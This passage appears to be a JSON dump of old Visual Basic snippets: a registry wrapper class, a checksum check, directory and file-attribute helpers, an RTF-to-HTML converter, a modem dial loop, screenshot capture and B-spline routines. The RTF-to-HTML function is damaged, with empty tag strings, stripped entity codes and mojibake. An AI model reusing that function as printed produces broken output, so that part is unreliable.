MyReg.CreateDirectory(\"TestDir\") then\n' Msgbox \"Key created\"\n' else\n' msgbox \"Couldn't Create key\"\n' end if\n' MyReg.CloseRegistry\nPublic Function CreateDirectory(ByVal sNewDirName As String) As Boolean\n Dim hNewKey As Long, lpdwDisposition As Long\n Dim lpSecurityAttributes As SECURITY_ATTRIBUTES\n Dim lReturn As Long\n \n If Not OpenRegOk Then Exit Function\n \n lReturn = RegCreateKeyEx(hKey, sNewDirName, 0&, \"\", REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, lpSecurityAttributes, hNewKey, lpdwDisposition)\n If lReturn = 0 Then\n CreateDirectory = True\n Else\n CreateDirectory = False\n End If\nEnd Function\n'This function will return a true or false when it deletes a key for you\n'eg.\n' Dim MyReg As New CReadWriteEasyReg\n' If Not MyReg.OpenRegistry(HKEY_LOCAL_MACHINE, \"Software\\Microsoft\") Then\n' MsgBox \"Couldn't open the registry\"\n' Exit Sub\n' End If\n' if MyReg.DeleteDirectory(\"MyTestDir\") then\n' Msgbox \"Key Deleted\"\n' else\n' msgbox \"Couldn't Delete key\"\n' end if\n' MyReg.CloseRegistry\nPublic Function DeleteDirectory(ByVal sKeyName As String) As Boolean\n Dim lReturn As Long\n \n If Not OpenRegOk Then Exit Function\n \n lReturn = RegDeleteKey(hKey, sKeyName)\n If lReturn = 0 Then\n DeleteDirectory = True\n Else\n DeleteDirectory = False\n End If\nEnd Function\n'This function will return a array of variant with all the value names in a key\n'eg.\n' Dim MyVariant As Variant, MyReg As New CReadWriteEasyReg, i As Integer\n' If Not MyReg.OpenRegistry(HKEY_LOCAL_MACHINE, \"HardWare\\Description\\System\\CentralProcessor\\0\") Then\n' MsgBox \"Couldn't open the registry\"\n' Exit Sub\n' End If\n' MyVariant = MyReg.GetAllValues\n' For i = LBound(MyVariant) To UBound(MyVariant)\n' Debug.Print MyVariant(i)\n' Next i\n' MyReg.CloseRegistry\nFunction GetAllValues() As Variant\nOn Error GoTo handelgetdirvalues\n Dim lpData As String, KeyType As Long\n Dim BufferLengh As Long, vname As String, vnamel As Long\n Dim ReturnArray() As Variant, Index As Integer\n \n If Not OpenRegOk Then Exit Function\n \n 'Get the Values List\n Index = 0\n Do\n lpData = String(250, \" \")\n BufferLengh = 240\n vname = String(250, \" \")\n vnamel = 240\n If RegEnumValue(ByVal hKey, ByVal Index, vname, vnamel, 0, KeyType, lpData, BufferLengh) <> 0 Then\n Exit Do\n End If\n vname = Left$(vname, InStr(vname, Chr$(0)) - 1)\n ReDim Preserve ReturnArray(Index) As Variant\n ReturnArray(Index) = vname\n Index = Index + 1\n Loop\n GetAllValues = ReturnArray\n Exit Function\nhandelgetdirvalues:\n GetAllValues = Null\n Exit Function\nEnd Function\n'This function will return a true or false when it creates a value for you\n'eg.\n' Dim MyReg As New CReadWriteEasyReg\n' If Not MyReg.OpenRegistry(HKEY_LOCAL_MACHINE, \"Software\\Microsoft\") Then\n' MsgBox \"Couldn't open the registry\"\n' Exit Sub\n' End If\n' if MyReg.CreateValue(\"ValName\", \"This is written as the value\",REG_SZ) then\n' Msgbox \"Value created\"\n' else\n' msgbox \"Couldn't Create Value\"\n' end if\n' MyReg.CloseRegistry\nPublic Function CreateValue(ByVal sValueName As String, ByVal vWriteThis As Variant, ldValueDataType As lDataType, Optional Multi_SZ_AddtlStrings As Variant) As Boolean\n Dim lpData As String 'The pointer to the value written to the Registry key's value\n Dim cbData As Long 'The size of the data written to the Registry key's value, including termination characters If applicable\n Dim lReturn As Long 'The Error value returned by the Registry Function\n Dim Str As Variant\n \n If Not OpenRegOk Then Exit Function\n \n Select Case ldValueDataType\n Case REG_SZ, REG_EXPAND_SZ\n lpData = vWriteThis & Chr(0)\n cbData = Len(lpData)\n lReturn = RegSetValueEx(hKey, sValueName, 0&, ldValueDataType, lpData, cbData)\n If lReturn = 0 Then\n CreateValue = True\n Else\n CreateValue = False\n End If\n Case REG_MULTI_SZ\n lpData = vWriteThis & Chr(0)\n If Not IsMissing(Multi_SZ_AddtlStrings) Then\n If IsArray(Multi_SZ_AddtlStrings) Then\n For Each Str In Multi_SZ_AddtlStrings\n If Str <> \"\" And Str <> Chr(0) And Not IsNull(Str) Then\n lpData = lpData & Str & Chr(0)\n End If\n Next Str\n Else\n If Multi_SZ_AddtlStrings <> \"\" And Multi_SZ_AddtlStrings <> Chr(0) And Not IsNull(Multi_SZ_AddtlStrings) Then\n lpData = lpData & Multi_SZ_AddtlStrings & Chr(0)\n End If\n End If\n End If\n lpData = lpData & Chr(0)\n cbData = Len(lpData)\n lReturn = RegSetValueEx(hKey, sValueName, 0&, ldValueDataType, lpData, cbData)\n If lReturn = 0 Then\n CreateValue = True\n Else\n CreateValue = False\n End If\n Case REG_DWORD\n lpData = CLng(vWriteThis)\n cbData = 4\n lReturn = RegSetValueEx(hKey, sValueName, 0&, ldValueDataType, lpData, cbData)\n If lReturn = 0 Then\n CreateValue = True\n Else\n CreateValue = False\n End If\n Case Else\n MsgBox \"Unable to process that Type of data.\"\n CreateValue = False\n End Select\nEnd Function\n'This function will return a true or false when it deletes a value for you\n'eg.\n' Dim MyReg As New CReadWriteEasyReg\n' If Not MyReg.OpenRegistry(HKEY_LOCAL_MACHINE, \"Software\\Microsoft\") Then\n' MsgBox \"Couldn't open the registry\"\n' Exit Sub\n' End If\n' if MyReg.DeleteValue(\"ValName\") then\n' Msgbox \"Value Deleted\"\n' else\n' msgbox \"Couldn't Delete Value\"\n' end if\n' MyReg.CloseRegistry\nPublic Function DeleteValue(ByVal sValueName As String) As Boolean\n Dim lReturn As Long\n \n If Not OpenRegOk Then Exit Function\n \n lReturn = RegDeleteValue(hKey, sValueName)\n If lReturn = 0 Then\n DeleteValue = True\n Else\n DeleteValue = False\n End If\nEnd Function\n'This function will return a specific value from the registry\n'eg.\n' Dim MyString As String, MyReg As New CReadWriteEasyReg, i As Integer\n' If Not MyReg.OpenRegistry(HKEY_LOCAL_MACHINE, \"HardWare\\Description\\System\\CentralProcessor\\0\") Then\n' MsgBox \"Couldn't open the registry\"\n' Exit Sub\n' End If\n' MyString = MyReg.GetValue(\"Identifier\")\n' Debug.Print MyString\n' MyReg.CloseRegistry\nFunction GetValue(ByVal VarName As String, Optional ReturnBinStr As Boolean = False) As Variant\nOn Error GoTo handelgetavalue\n Dim i As Integer\n Dim SubKey_Value As String, TempStr As String, ReturnArray() As Variant\n Dim length As Long\n 'Dim value_type As Long\n Dim RtnVal As Long, value_Type As lDataType\n \n If Not OpenRegOk Then Exit Function\n \n 'Read the size of the value value\n RtnVal = RegQueryValueEx(hKey, VarName, 0&, value_Type, ByVal 0&, length)\n Select Case RtnVal\n Case 0 'Ok so continue\n Case 2 'Not Found\n Exit Function\n Case 5 'Access Denied\n GetValue = \"Access Denied\"\n Exit Function\n Case Else 'What?\n GetValue = \"RegQueryValueEx Returned : (\" & RtnVal & \")\"\n Exit Function\n End Select\n 'declare the size of the value and read it\n SubKey_Value = Space$(length)\n RtnVal = RegQueryValueEx(hKey, VarName, 0&, value_Type, ByVal SubKey_Value, length)\n Select Case value_Type\n Case REG_NONE\n 'Not defined\n SubKey_Value = \"Not defined value_type=REG_NONE\"\n Case REG_SZ 'A null-terminated string\n SubKey_Value = Left$(SubKey_Value, length - 1)\n Case REG_EXPAND_SZ\n 'A null-terminated string that contains unexpanded references to\n 'environment variables (for example, \"%PATH%\").\n 'Use ExpandEnvironmentStrings to expand\n SubKey_Value = Left$(SubKey_Value, length - 1)\n Case REG_BINARY 'Binary data in any form.\n SubKey_Value = Left$(SubKey_Value, length)\n If Not ReturnBinStr Then\n TempStr = \"\"\n For i = 1 To Len(SubKey_Value)\n TempStr = TempStr & Right$(\"00\" & Trim$(Hex(Asc(Mid$(SubKey_Value, i, 1)))), 2) & \" \"\n Next i\n SubKey_Value = TempStr\n End If\n Case REG_DWORD, REG_DWORD_LITTLE_ENDIAN 'A 32-bit number.\n SubKey_Value = Left$(SubKey_Value, length)\n If Not ReturnBinStr Then\n TempStr = \"\"\n For i = 1 To Len(SubKey_Value)\n TempStr = TempStr & Right$(\"00\" & Trim$(Hex(Asc(Mid$(SubKey_Value, i, 1)))), 2) & \" \"\n Next i\n SubKey_Value = TempStr\n End If\n Case REG_DWORD_BIG_ENDIAN\n 'A 32-bit number in big-endian format.\n 'In big-endian format, a multi-byte value is stored in memory from\n 'the highest byte (the \"big end\") to the lowest byte. For example,\n 'the value 0x12345678 is stored as (0x12 0x34 0x56 0x78) in big-endian\n 'format.\n Case REG_LINK\n 'A Unicode symbolic link. Used internally; applications should not\n 'use this type.\n SubKey_Value = \"Not defined value_type=REG_LINK\"\n Case REG_MULTI_SZ\n 'Array of null-terminated string\n SubKey_Value = Left$(SubKey_Value, length)\n i = 0\n While Len(SubKey_Value) > 0\n ReDim Preserve ReturnArray(i) As Variant\n ReturnArray(i) = Mid$(SubKey_Value, 1, InStr(1, SubKey_Value, Chr(0)) - 1)\n SubKey_Value = Mid$(SubKey_Value, InStr(1, SubKey_Value, Chr(0)) + 1)\n i = i + 1\n Wend\n GetValue = ReturnArray\n Exit Function\n Case REG_RESOURCE_LIST\n 'Device driver resource list.\n SubKey_Value = \"Not defined value_type=REG_RESOURCE_LIST\"\n Case REG_FULL_RESOURCE_DESCRIPTOR\n 'Device driver resource list.\n SubKey_Value = \"Not defined value_type=REG_FULL_RESOURCE_DESCRIPTOR\"\n Case REG_RESOURCE_REQUIREMENTS_LIST\n 'Device driver resource list.\n SubKey_Value = \"Not defined value_type=REG_RESOURCE_REQUIREMENTS_LIST\"\n Case Else\n SubKey_Value = \"value_type=\" & value_Type\n End Select\n GetValue = SubKey_Value\n Exit Function\nhandelgetavalue:\n GetValue = \"\"\n Exit Function\nEnd Function\n'This property returns the current KeyValue\nPublic Property Get RegistryRootKey() As HKeys\n RegistryRootKey = RootHKey\nEnd Property\n'This property returns the current 'Registry Directory' your in\nPublic Property Get SubDirectory() As String\n SubDirectory = SubDir\nEnd Property\n'This function open's the registry at a specific 'Registry Directory'\n'eg.\n' Dim MyVariant As Variant, MyReg As New CReadWriteEasyReg, i As Integer\n' If Not MyReg.OpenRegistry(HKEY_LOCAL_MACHINE, \"\") Then\n' MsgBox \"Couldn't open the registry\"\n' Exit Sub\n' End If\n' MyVariant = MyReg.GetAllSubDirectories\n' For i = LBound(MyVariant) To UBound(MyVariant)\n' Debug.Print MyVariant(i)\n' Next i\n' MyReg.CloseRegistry\nPublic Function OpenRegistry(ByVal RtHKey As HKeys, ByVal SbDr As String) As Integer\nOn Error GoTo OpenReg\n Dim ReturnVal As Integer\n If RtHKey = 0 Then\n OpenRegistry = False\n OpenRegOk = False\n Exit Function\n End If\n RootHKey = RtHKey\n SubDir = SbDr\n If OpenRegOk Then\n CloseRegistry\n OpenRegOk = False\n End If\n ReturnVal = RegOpenKeyEx(RootHKey, SubDir, 0&, KEY_READ_WRITE, hKey)\n If ReturnVal <> 0 Then\n OpenRegistry = False\n Exit Function\n End If\n OpenRegOk = True\n OpenRegistry = True\n Exit Function\nOpenReg:\n OpenRegOk = False\n OpenRegistry = False\n Exit Function\nEnd Function\nPublic Function OneBackOnKey()\n SubDir = Mid$(SubDir, 1, FindLastBackSlash(SubDir) - 1)\n CloseRegistry\n OpenRegistry RootHKey, SubDir\nEnd Function\n'This function should be called after you're done with the registry\n'eg. (see other examples)\nPublic Function CloseRegistry() As Boolean\nOn Error Resume Next\n If RegCloseKey(hKey) <> 0 Then\n CloseRegistry = False\n Exit Function\n End If\n CloseRegistry = True\n OpenRegOk = False\nEnd Function\nPrivate Sub Class_Initialize()\n RootHKey = &H0\n SubDir = \"\"\n hKey = 0\n OpenRegOk = False\nEnd Sub\nPrivate Sub Class_Terminate()\nOn Error Resume Next\n If RegCloseKey(hKey) <> 0 Then\n Exit Sub\n End If\nEnd Sub\nPublic Function SortArrayAscending(ValueList As Variant) As Variant\nOn Error GoTo handelsort\n Dim RipVal As Variant\n Dim RipOrdinal As Long\n Dim RipDescent As Long\n Dim PrivateBuffer As Variant\n Dim Placed As Boolean\n Dim x As Long\n Dim y As Long\n If IsArray(ValueList) Then\n PrivateBuffer = ValueList\n 'Ok, we start at the second position in the array and go\n 'from there\n RipOrdinal = 1\n RipDescent = 1\n For y = 1 To UBound(PrivateBuffer)\n RipVal = PrivateBuffer(y)\n If y <> 1 Then RipDescent = y\n Do Until Placed\n If PrivateBuffer(RipDescent - 1) >= RipVal Then\n RipDescent = RipDescent - 1\n If RipDescent = 0 Then\n For x = y To RipDescent Step -1\n If x = 0 Then Exit For\n PrivateBuffer(x) = PrivateBuffer(x - 1)\n Next x\n PrivateBuffer(RipDescent) = RipVal\n Placed = True\n End If\n Else\n 'shift the array to the right\n For x = y To RipDescent Step -1\n If x = 0 Then Exit For\n PrivateBuffer(x) = PrivateBuffer(x - 1)\n Next x\n 'insert the ripped value\n PrivateBuffer(RipDescent) = RipVal\n Placed = True\n End If\n Loop\n Placed = False\n Next y\n SortArrayAscending = PrivateBuffer\n Else\n SortArrayAscending = ValueList\n End If\n Exit Function\nhandelsort:\n SortArrayAscending = ValueList\n Exit Function\nEnd Function\nPrivate Function FindLastBackSlash(VarValue As Variant) As Integer\n Dim i As Integer, iRtn As Integer\n iRtn = 0\n For i = Len(VarValue) To 1 Step -1\n If Mid$(VarValue, i, 1) = \"\\\" Then\n iRtn = i\n Exit For\n End If\n Next i\n FindLastBackSlash = iRtn\nEnd Function\n"},{"WorldId":1,"id":2082,"LineNumber":1,"line":"'Save the files as described above\n'and compile your ENOCK.EXE program.\n'All you have to do now is to include\n'the ENOCK.BAS file in your project\n'and add this code to the startup of\n'your program .. :)\n\n Dim lCalc As Long\n 'Get the current CheckSum value\n lCalc = CreateLong(CalcCheckSum(\"\"))\n If lCalc > 0 Then\n Select Case CheckENOCK(\"\", lCalc)\n Case 2 'File is ENOCKED and CheckSum was Checked\n MsgBox \"File is Authentic ....\", 32\n Case 0 'Some Error occured\n 'Some error occured and will be displayed by the function\n Case -1 'File is NOT ENOCKED and didn't check Checksum\n MsgBox \"File is NOT ENOCKED and didn't check Checksum\", 32\n Case -2 'File is ENOCKED and CheckSum doesn't match\n MsgBox \"File is NOT Authentic, posible virus infection \", 16\n End Select\n End If\n"},{"WorldId":1,"id":3367,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":1811,"LineNumber":1,"line":"Public Function WinDir(Optional ByVal AddSlash As Boolean = False) As String\n Dim t As String * 255\n Dim i As Long\n i = GetWindowsDirectory(t, Len(t))\n WinDir = Left(t, i)\n If (AddSlash = True) And (Right(WinDir, 1) <> \"\\\") Then\n WinDir = WinDir & \"\\\"\n ElseIf (AddSlash = False) And (Right(WinDir, 1) = \"\\\") Then\n WinDir = Left(WinDir, Len(WinDir) - 1)\n End If\nEnd Function\nPublic Function SysDir(Optional ByVal AddSlash As Boolean = False) As String\n Dim t As String * 255\n Dim i As Long\n i = GetSystemDirectory(t, Len(t))\n SysDir = Left(t, i)\n If (AddSlash = True) And (Right(SysDir, 1) <> \"\\\") Then\n SysDir = SysDir & \"\\\"\n ElseIf (AddSlash = False) And (Right(SysDir, 1) = \"\\\") Then\n SysDir = Left(SysDir, Len(SysDir) - 1)\n End If\nEnd Function"},{"WorldId":1,"id":1812,"LineNumber":1,"line":"'use these constants to set the attributes you want\nFILE_ATTRIBUTE_ARCHIVE = &H20\nFILE_ATTRIBUTE_COMPRESSED = &H800\nFILE_ATTRIBUTE_DIRECTORY = &H10\nFILE_ATTRIBUTE_HIDDEN = &H2\nFILE_ATTRIBUTE_NORMAL = &H80\nFILE_ATTRIBUTE_READONLY = &H1\nFILE_ATTRIBUTE_SYSTEM = &H4\nPublic Function SetAttributes(ByVal FullFilePath As String, Optional ByVal FileAttributes As Long = &H20) As Long\n 'makes sure that the file path is not too long\n FullFilePath = Left(FullFilePath, 255)\n SetAttributes = SetFileAttributes(FullFilePath, FileAttributes)\nEnd Function\nPublic Function GetAttributes(ByVal FullFilePath as String) as Integer\n GetAttributes = GetFileAttributes(FullFilePath)\nEnd Function"},{"WorldId":1,"id":1732,"LineNumber":1,"line":"Public Function OpenFile(ByVal file As String) As String\n Dim i As Integer\n i = FreeFile\n Open file For Input As #i\n OpenFile = Input(LOF(i), i)\n Close #i\nEnd Function"},{"WorldId":1,"id":1545,"LineNumber":1,"line":"Function RTF2HTML(strRTF As String) As String\n 'Version 2.1 (3/30/99)\n \n 'The most current version of this function is available at\n 'http://www2.bitstream.net/~bradyh/downloads/rtf2html.zip\n \n 'Converts Rich Text encoded text to HTML format\n 'if you find some text that this function doesn't\n 'convert properly please email the text to\n 'bradyh@bitstream.net\n Dim strHTML As String\n Dim l As Long\n Dim lTmp As Long\n Dim lRTFLen As Long\n Dim lBOS As Long 'beginning of section\n Dim lEOS As Long 'end of section\n Dim strTmp As String\n Dim strTmp2 As String\n Dim strEOS 'string to be added to end of section\n Const gHellFrozenOver = False 'always false\n Dim gSkip As Boolean 'skip to next word/command\n Dim strCodes As String 'codes for ascii to HTML char conversion\n \n strCodes = \" {00}© {a9}´ {b4}« {ab}» {bb}¡ {a1}¿{bf}À{c0}à{e0}Á{c1}\"\n strCodes = strCodes & \"á{e1}Â {c2}â {e2}Ã{c3}ã{e3}Ä {c4}ä {e4}Å {c5}å {e5}Æ {c6}\"\n strCodes = strCodes & \"æ {e6}Ç{c7}ç{e7}Ð {d0}ð {f0}È{c8}è{e8}É{c9}é{e9}Ê {ca}\"\n strCodes = strCodes & \"ê {ea}Ë {cb}ë {eb}Ì{cc}ì{ec}Í{cd}í{ed}Î {ce}î {ee}Ï {cf}\"\n strCodes = strCodes & \"ï {ef}Ñ{d1}ñ{f1}Ò{d2}ò{f2}Ó{d3}ó{f3}Ô {d4}ô {f4}Õ{d5}\"\n strCodes = strCodes & \"õ{f5}Ö {d6}ö {f6}Ø{d8}ø{f8}Ù{d9}ù{f9}Ú{da}ú{fa}Û {db}\"\n strCodes = strCodes & \"û {fb}Ü {dc}ü {fc}Ý{dd}ý{fd}ÿ {ff}Þ {de}þ {fe}ß {df}§ {a7}\"\n strCodes = strCodes & \"¶ {b6}µ {b5}¦{a6}±{b1}·{b7}¨ {a8}¸ {b8}ª {aa}º {ba}¬ {ac}\"\n strCodes = strCodes & \" {ad}¯ {af}° {b0}¹ {b9}² {b2}³ {b3}¼{bc}½{bd}¾{be}× {d7}\"\n strCodes = strCodes & \"÷{f7}¢ {a2}£ {a3}¤{a4}¥ {a5}\"\n strHTML = \"\"\n lRTFLen = Len(strRTF)\n 'seek first line with text on it\n lBOS = InStr(strRTF, vbCrLf & \"\\deflang\")\n If lBOS = 0 Then GoTo finally Else lBOS = lBOS + 2\n lEOS = InStr(lBOS, strRTF, vbCrLf & \"\\par\")\n If lEOS = 0 Then GoTo finally\n While Not gHellFrozenOver\n strTmp = Mid(strRTF, lBOS, lEOS - lBOS)\n l = lBOS\n While l <= lEOS\n strTmp = Mid(strRTF, l, 1)\n Select Case strTmp\n Case \"{\"\n l = l + 1\n Case \"}\"\n strHTML = strHTML & strEOS\n l = l + 1\n Case \"\\\" 'special code\n l = l + 1\n strTmp = Mid(strRTF, l, 1)\n Select Case strTmp\n Case \"b\"\n If ((Mid(strRTF, l + 1, 1) = \" \") Or (Mid(strRTF, l + 1, 1) = \"\\\")) Then\n strHTML = strHTML & \"\"\n strEOS = \"\" & strEOS\n If (Mid(strRTF, l + 1, 1) = \" \") Then l = l + 1\n ElseIf (Mid(strRTF, l, 7) = \"bullet \") Then\n strHTML = strHTML & \"ΓÇó\" 'bullet\n l = l + 6\n Else\n gSkip = True\n End If\n Case \"e\"\n If (Mid(strRTF, l, 7) = \"emdash \") Then\n strHTML = strHTML & \"ΓÇö\"\n l = l + 6\n Else\n gSkip = True\n End If\n Case \"i\"\n If ((Mid(strRTF, l + 1, 1) = \" \") Or (Mid(strRTF, l + 1, 1) = \"\\\")) Then\n strHTML = strHTML & \"\"\n strEOS = \"\" & strEOS\n If (Mid(strRTF, l + 1, 1) = \" \") Then l = l + 1\n Else\n gSkip = True\n End If\n Case \"l\"\n If (Mid(strRTF, l, 10) = \"ldblquote \") Then\n strHTML = strHTML & \"ΓÇ£\"\n l = l + 9\n ElseIf (Mid(strRTF, l, 7) = \"lquote \") Then\n strHTML = strHTML & \"ΓÇÿ\"\n l = l + 6\n Else\n gSkip = True\n End If\n Case \"p\"\n If ((Mid(strRTF, l, 6) = \"plain\\\") Or (Mid(strRTF, l, 6) = \"plain \")) Then\n strHTML = strHTML & strEOS\n strEOS = \"\"\n If Mid(strRTF, l + 5, 1) = \"\\\" Then l = l + 4 Else l = l + 5 'catch next \\ but skip a space\n Else\n gSkip = True\n End If\n Case \"r\"\n If (Mid(strRTF, l, 7) = \"rquote \") Then\n strHTML = strHTML & \"ΓÇÖ\"\n l = l + 6\n ElseIf (Mid(strRTF, l, 10) = \"rdblquote \") Then\n strHTML = strHTML & \"ΓÇ¥\"\n l = l + 9\n Else\n gSkip = True\n End If\n Case \"t\"\n If (Mid(strRTF, l, 4) = \"tab \") Then\n strHTML = strHTML & Chr$(9) 'tab\n l = l + 3\n Else\n gSkip = True\n End If\n Case \"'\"\n strTmp2 = \"{\" & Mid(strRTF, l + 1, 2) & \"}\"\n lTmp = InStr(strCodes, strTmp2)\n If lTmp = 0 Then\n strHTML = strHTML & Chr(\"&H\" & Mid(strTmp2, 2, 2))\n Else\n strHTML = strHTML & Trim(Mid(strCodes, lTmp - 8, 8))\n End If\n l = l + 2\n Case \"~\"\n strHTML = strHTML & \" \"\n Case \"{\", \"}\", \"\\\"\n strHTML = strHTML & strTmp\n Case vbLf, vbCr, vbCrLf 'always use vbCrLf\n strHTML = strHTML & vbCrLf\n Case Else\n gSkip = True\n End Select\n If gSkip = True Then\n 'skip everything up until the next space or \"\\\"\n While ((Mid(strRTF, l, 1) <> \" \") And (Mid(strRTF, l, 1) <> \"\\\"))\n l = l + 1\n Wend\n gSkip = False\n If (Mid(strRTF, l, 1) = \"\\\") Then l = l - 1\n End If\n l = l + 1\n Case vbLf, vbCr, vbCrLf\n l = l + 1\n Case Else\n strHTML = strHTML & strTmp\n l = l + 1\n End Select\n Wend\n \n lBOS = lEOS + 2\n lEOS = InStr(lEOS + 1, strRTF, vbCrLf & \"\\par\")\n If lEOS = 0 Then GoTo finally\n \n strHTML = strHTML & \" \"\n Wend\n \nfinally:\n RTF2HTML = strHTML\nEnd Function"},{"WorldId":1,"id":1534,"LineNumber":1,"line":"Public Function RevInStr(String1 As String, String2 As String) As Integer\n Dim pos As Integer\n Dim pos2 As Integer\n \n Let pos2 = Len(String1)\n Do\n Let pos = (InStr(pos2, String1, String2))\n Let pos2 = pos2 - 1\n Loop Until pos > 0 Or pos2 = 0\n Let RevInStr = pos\nEnd Function"},{"WorldId":1,"id":2884,"LineNumber":1,"line":"'make a command button name Command1 make its caption \"Begin\"\n'make a Textbox name Textbox1\n'make a timer called Timer1 and make it unenabled interval = 500\n'make a timer called Timer2 and make its interval 455\n'Make a label called Label1\n\nPrivate Sub Command1_Click()\nDo Until Label1.Caption = Text1.Text\nTimer1.Enabled = True\nPhoneNumber$ = \"123-4567\" 'isn't important never dials\nOpen \"COM2:\" For Output As #1 'or COM1\nPrint #1, \"ATDT\" & PhoneNumber$ & Chr$(13)\nLabel1.Caption = Label1.Caption + 1\nClose #1\nLoop\nEnd Sub\nPrivate Sub Form_Resize()\nOn Error GoTo a\nForm1.Height = 2715\nForm1.Width = 3690\n'another good way to do this is makes form1.borderstyle = 1\na:\nEnd Sub\nPrivate Sub Text1_KeyDown(KeyCode As Integer, Shift As Integer)\nSelect Case KeyCode\n Case vbKeyReturn:\n Do Until Label1.Caption = Text1.Text\n Timer1.Enabled = True\n PhoneNumber$ = \"123-4567\" 'this number isn't important it never dials!\n Open \"COM2:\" For Output As #1 'or COM1\n Print #1, \"ATDT\" & PhoneNumber$ & Chr$(13)\n Label1.Caption = Label1.Caption + 1\n Close #1\n Loop\n End Select\nEnd Sub\nPrivate Sub Timer1_Timer()\nIf Label1.Caption = Text1.Text Then\nLabel1.Caption = \"0\"\nEnd If\nEnd Sub\nPrivate Sub Timer2_Timer()\n Dim a\na = Int(Rnd * 15) + 1\nText1.ForeColor = QBColor(a)\nEnd Sub\n"},{"WorldId":1,"id":1541,"LineNumber":1,"line":"'Insert this in a module:\n\nPublic Sub GetWindowSnapShot(Mode As Long, ThisImage As Image)\n \n ' mode = 0 -> Screen snapshot\n ' mode = 1 -> Window snapshot\n \n Dim altscan%, NT As Boolean, nmode As Long\n \n NT = IsNT\n If Not NT Then\n If Mode = 0& Then Mode = 1& Else Mode = 0&\n End If\n \n If NT And Mode = 0 Then\n keybd_event vbKeySnapshot, 0&, 0&, 0&\n Else\n altscan = MapVirtualKey(VK_MENU, 0)\n keybd_event VK_MENU, altscan, 0, 0\n DoEvents\n keybd_event vbKeySnapshot, Mode, 0&, 0&\n End If\n DoEvents\n ThisImage = Clipboard.GetData(vbCFBitmap)\n keybd_event VK_MENU, altscan, KEYEVENTF_KEYUP, 0\nEnd Sub\nPublic Function IsNT() As Boolean\n Dim verinfo As OSVERSIONINFO\n verinfo.dwOSVersionInfoSize = Len(verinfo)\n If (GetVersionEx(verinfo)) = 0 Then Exit Function\n If verinfo.dwPlatformId = 2 Then IsNT = True\nEnd Function\n"},{"WorldId":1,"id":1546,"LineNumber":1,"line":"'\n'Add the following code to modSpline\n'\nOption Explicit\nPublic Type POINTAPI\n X As Long\n Y As Long\nEnd Type\nPublic inp() As POINTAPI\nPublic outp() As POINTAPI\nPublic N As Integer\nPublic T As Integer\nPublic RESOLUTION As Integer\n' Example of how to call the spline functions\n' Basically one needs to create the control points, then compute\n' the knot positions, then calculate points along the curve.\n'\n'1. You have to define two arrays of the Type POINTAPI\n' 'Dim inp() As POINTAPI, outp() as POINTAPI\n'2. Define te array of Knots as integer\n' 'Dim knots() As Integer\n' Define Three more variables\n' N as integer : number of entries in inp()-1 '\n' T as integer : The blending factor usually 3\n' a value of 2 draws the polyline\n' RESOLUTION as integer : The number of segments in which the whole\n' spline will be divided\n' I prefer to calculate the resolution after the inp() array is filled\n' that's a way to ensure a proper resolution\n' e.g resolution = 10 * N or\n' you can enter a constant resolution regardless of the length of the\n' of the spline e.g RESOLUTION = 200\n'\n'3. Fill the input array either by code or interactively by clicking\n' in the destination form or picturebox\n'4. Once you have the filled inp() array, you have to fill the rest of the variables\n'\n' N = UBound(inp) - 1\n' RESOLUTION = 10*n\n' T=3\n' Redim knots(N + T + 1)\n' Redim outp(RESOLUTION)\n' Now it's time to call the Functions\n'\n' Call SplineKnots(knots(), N, T)\n' Call SplineCurve(inp(), N, knots(), T, outp(), RESOLUTION)\n'\n' SplineCurve Returns outp() filled with the points along the Spline\n'\n' To draw the spline do the following:\n'Dim i as integer\n'For i = 0 To RESOLUTION\n' Form1.Picture1.Line (outp(i-1).x, outp(i-1).y) - (outp(i).x, outp(i).y)\n'Next\n'\n' That's all to it. Enjoy!\n'\n'SPLINEPOINT\n'This returns the point \"output\" on the spline curve.\n'The parameter \"v\" indicates the position, it ranges from 0 to n-t+2\nPrivate Function SplinePoint(u() As Integer, N As Integer, T As Integer, v As Single, Control() As POINTAPI, output As POINTAPI)\nDim k As Integer\nDim b As Single\noutput.X = 0: output.Y = 0 ': output.Z = 0\n \nFor k = 0 To N\n b = SplineBlend(k, T, u(), v)\n \n output.X = output.X + Control(k).X * b\n output.Y = output.Y + Control(k).Y * b\n 'for a 3D b-Spline use the following\n ' output.Z = output.Z + Control(k).Z * b\nNext\nEnd Function\n'SPLINEBLEND\n'Calculate the blending value, this is done recursively.\n'If the numerator and denominator are 0 the expression is 0.\n'If the deonimator is 0 the expression is 0\nPrivate Function SplineBlend(k As Integer, T As Integer, u() As Integer, v As Single) As Single\nDim value As Single\n If T = 1 Then\n If (u(k) <= v And v < u(k + 1)) Then\n value = 1\n Else\n value = 0\n End If\n Else\n If ((u(k + T - 1) = u(k)) And (u(k + T) = u(k + 1))) Then\n value = 0\n ElseIf (u(k + T - 1) = u(k)) Then\n value = (u(k + T) - v) / (u(k + T) - u(k + 1)) * SplineBlend(k + 1, T - 1, u, v)\n ElseIf (u(k + T) = u(k + 1)) Then\n value = (v - u(k)) / (u(k + T - 1) - u(k)) * SplineBlend(k, T - 1, u, v)\n Else\n value = (v - u(k)) / (u(k + T - 1) - u(k)) * SplineBlend(k, T - 1, u, v) + _\n (u(k + T) - v) / (u(k + T) - u(k + 1)) * SplineBlend(k + 1, T - 1, u, v)\n End If\n End If\n \nSplineBlend = value\nEnd Function\n'SPLINEKNOTS\n' The positions of the subintervals of v and breakpoints, the position\n' on the curve are called knots. Breakpoints can be uniformly defined\n' by setting u(j) = j, a more useful series of breakpoints are defined\n' by the function below. This set of breakpoints localises changes to\n' the vicinity of the control point being modified.\nPublic Sub SplineKnots(u() As Integer, N As Integer, T As Integer)\nDim j As Integer\nFor j = 0 To N + T\n If j < T Then\n u(j) = 0\n ElseIf (j <= N) Then\n u(j) = j - T + 1\n ElseIf (j > N) Then\n u(j) = N - T + 2\n \n End If\n \nNext\nEnd Sub\n'SPLINECURVE\n' Create all the points along a spline curve\n' Control points \"inp\", \"n\" of them. Knots \"knots\", degree \"t\".\n' Ouput curve \"outp\", \"res\" of them.\nPublic Sub SplineCurve(inp() As POINTAPI, N As Integer, knots() As Integer, T As Integer, outp() As POINTAPI, res As Integer)\nDim i As Integer\nDim interval As Single, increment As Single\ninterval = 0\nincrement = (N - T + 2) / (res - 1)\n For i = 0 To res - 1 '{\n Call SplinePoint(knots(), N, T, interval, inp(), outp(i))\n interval = interval + increment\n Next\n outp(res - 1) = inp(N)\nEnd Sub\n'EOF() module modSpline\n'\n'\n'\n'The following 